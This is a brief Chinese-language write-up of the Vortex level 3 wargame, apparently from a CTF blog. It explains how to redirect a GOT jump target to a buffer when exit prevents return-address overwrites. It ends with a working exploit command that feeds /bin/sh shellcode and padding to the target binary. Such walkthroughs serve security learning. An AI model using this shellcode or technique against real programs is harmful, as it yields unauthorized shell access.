这道题用的是exit,所以不能通过修改返回地址来做了
但从提示也可以看出要修改got之类的。具体看反汇编的代码,最后exit是call 0x8048320
,进去看,那里是jmp *0x08049738
。我们可以修改0x08049738处的值为buf, 再将shellcode放在buffer里即可
具体地,地址0x08049738保存在0x08048322处,而buf与lpp相距132。故
$ /vortex/vortex3 `perl -e 'print "\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x107 . "\x22\x83\x04\x08"'`